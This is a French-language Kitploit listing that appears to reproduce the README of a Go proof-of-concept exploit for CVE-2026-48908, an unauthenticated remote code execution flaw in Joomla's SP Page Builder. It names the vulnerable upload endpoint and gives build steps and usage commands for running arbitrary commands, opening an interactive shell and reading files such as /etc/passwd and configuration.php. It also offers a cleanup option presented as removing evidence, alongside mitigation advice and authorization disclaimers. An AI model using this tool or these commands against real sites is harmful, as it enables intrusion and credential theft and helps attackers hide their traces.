Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-48908-SP-Page-Builder-Joomla — CVE-2026-48908 - SP Page Builder Joomla RCE non authentifié | Kitploit
Outils/GitHubGitHub/gagaltotal/cve-2026-48908-sp-page-builder-joomla
Analyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubgagaltotal/cve-2026-48908-sp-page-builder-joomla

CVE-2026-48908-SP-Page-Builder-Joomla

CVE-2026-48908 - SP Page Builder Joomla RCE non authentifié

Voir le dépôt
41il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-48908 : RCE non authentifié dans SP Page Builder pour Joomla

Exploit de preuve de concept pour CVE-2026-48908, une vulnérabilité d'exécution de code à distance non authentifiée dans le composant SP Page Builder de Joomla.

Aperçu de la vulnérabilité

CVE-2026-48908 est une vulnérabilité de sécurité critique qui permet à des attaquants non authentifiés d'exécuter du code arbitraire sur des installations Joomla vulnérables via une gestion incorrecte de l'extraction de fichiers ZIP dans le composant SP Page Builder.

Détails techniques

  • CVE ID: CVE-2026-48908
  • Composant: com_sppagebuilder
  • Versions vulnérables: <= 6.6.1
  • Version corrigée: 6.6.2
  • Vecteur d'attaque: Réseau, sans authentification
  • Score CVSS: Critique
  • Type de vulnérabilité: Téléchargement arbitraire de fichier / RCE par extraction ZIP
  • Point de terminaison d'attaque: index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon

Cause racine

La vulnérabilité réside dans la fonctionnalité de téléchargement d'actifs où l'application valide et extrait incorrectement les fichiers ZIP contenant des actifs d'icônes. Un attaquant peut créer un fichier ZIP malveillant avec des charges utiles PHP qui seront extraites dans un répertoire accessible via le web, permettant l'exécution de code à distance.

Prérequis

  • Go 1.26.4 ou ultérieur
  • Accès réseau à l'installation Joomla cible
  • URL cible valide

Dépendances

  • golang.org/x/term - Utilitaires de terminal pour la saisie sécurisée de mots de passe

Installation

Depuis les sources

git clone https://github.com/gagaltotal/CVE-2026-48908-SP-Page-Builder-Joomla
cd CVE-2026-48908-SP-Page-Builder-Joomla
go mod init CVE-2026-48908-SP-Page-Builder-Joomla
go mod download
or
go mod tidy
go build -o poc_tot poc_tot.go

Binaire précompilé

Des binaires compilés sont disponibles dans la section des versions.

Utilisation

Capture d'écran

Exécution de commande de base

Capture d'écran

./poc_tot -target http://target-site.com -cmd "whoami"

Shell interactif

./poc_tot -target http://target-site.com -shell

Évaluation de la vulnérabilité

./poc_tot -target http://target-site.com -check

Nettoyage

./poc_tot -target http://target-site.com -cleanup

Utilisation d'un jeton personnalisé (si disponible)

./poc_tot -target http://target-site.com -cmd "id" -token "your_joomla_token"

Options en ligne de commande

-target string
    Target URL of vulnerable Joomla installation (required)
    Example: http://target.com or https://target.com

-cmd string
    System command to execute on target
    Example: "cat /etc/passwd"

-shell
    Launch interactive shell on target (requires successful exploitation)

-check
    Check if target is vulnerable without attempting exploitation

-cleanup
    Remove uploaded shell and artifacts from target

-token string
    CSRF token for exploitation (optional, auto-detected if not provided)

Méthodes d'exploitation

L'outil prend en charge plusieurs vecteurs d'exploitation :

  1. Téléchargement direct de PHP - Télécharge des fichiers PHP directement vers des chemins exécutables
  2. Contournement de répertoire - Utilise le traversée de répertoire pour contourner les restrictions
  3. Manipulation d'archives - Crée des archives ZIP malveillantes avec des charges utiles embarquées
  4. Usurpation d'extension - Utilise des doubles extensions et des variations de casse

Exemples

Reconnaissance

./poc_tot -target http://vulnerable.local -check

Exécuter une seule commande

./poc_tot -target http://vulnerable.local -cmd "ls -la /var/www/html"

Récupérer des fichiers sensibles

./poc_tot -target http://vulnerable.local -cmd "cat configuration.php"

Accès interactif

./poc_tot -target http://vulnerable.local -shell
# In shell:
> id
> whoami
> pwd

Nettoyer les preuves

./poc_tot -target http://vulnerable.local -cleanup

Considérations de sécurité

Pour les administrateurs

Si vous utilisez Joomla avec le composant SP Page Builder :

  1. Mettre à jour immédiatement : Mettez à niveau vers SP Page Builder 6.6.2 ou ultérieur
  2. Désactiver le composant : Si une mise à jour immédiate n'est pas possible, désactivez com_sppagebuilder
  3. Surveiller les journaux : Vérifiez les journaux du serveur web pour toute activité suspecte
  4. Restreindre les permissions : Assurez-vous que les permissions de fichiers sont correctes sur les répertoires web
  5. Pare-feu applicatif web : Déployez des règles WAF pour bloquer les tentatives d'exploitation

Pour les chercheurs en sécurité

  • Utilisez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test
  • Testez d'abord dans des environnements isolés
  • Documentez correctement toutes les découvertes
  • Suivez les pratiques de divulgation responsable
  • N'utilisez pas pour un accès non autorisé

Avertissement

Ce logiciel est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé aux systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil. Les utilisateurs sont responsables de s'assurer qu'ils disposent des autorisations appropriées avant d'utiliser cet outil sur un système cible.

En utilisant cet outil, vous reconnaissez que :

  • Vous l'utiliserez uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite de test
  • Vous comprenez les implications juridiques et acceptez l'entière responsabilité
  • Les auteurs ne sont pas responsables des dommages ou conséquences juridiques
  • Vous respecterez toutes les lois et réglementations applicables

Avis légal

Cet outil est destiné à la recherche en sécurité défensive et aux tests d'intrusion autorisés uniquement. L'accès non autorisé aux systèmes informatiques viole le Computer Fraud and Abuse Act et les lois similaires dans d'autres juridictions. Obtenez toujours une autorisation écrite appropriée avant d'effectuer des tests de sécurité.

Références

  • Centre de sécurité officiel Joomla : https://docs.joomla.org/Security_Checklist
  • SP Page Builder : https://www.sp-components.com/
  • Détails CVE-2026-48908 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48908

Atténuation

Actions immédiates

  1. Appliquer la mise à jour de sécurité vers la version 6.6.2 ou ultérieure
  2. Si la mise à jour n'est pas disponible, désactiver le composant : index.php?option=com_installer&view=manage
  3. Vérifier les journaux d'erreurs pour les tentatives d'exploitation
  4. Examiner le système de fichiers pour des fichiers PHP suspects dans les répertoires media

Sécurité à long terme

  1. Tenir Joomla et tous les composants à jour
  2. Mettre en place une analyse de sécurité automatisée
  3. Utiliser des en-têtes de sécurité et des règles WAF
  4. Surveiller l'intégrité des fichiers
  5. Maintenir des sauvegardes régulières
  6. Appliquer le principe du moindre privilège

Contribution

Les contributions à la recherche en sécurité sont les bienvenues. Veuillez :

  1. Signaler les vulnérabilités de manière responsable
  2. Suivre le style de code existant
  3. Inclure une documentation détaillée
  4. Tester minutieusement avant soumission

Auteur

GhostGTR666 (Gagaltotal666)

  • GitHub : https://github.com/gagaltotal/CVE-2026-48908-SP-Page-Builder-Joomla
  • Email : Contact via GitHub

Journal des modifications

Version 1.0.0

Télécharger l’outil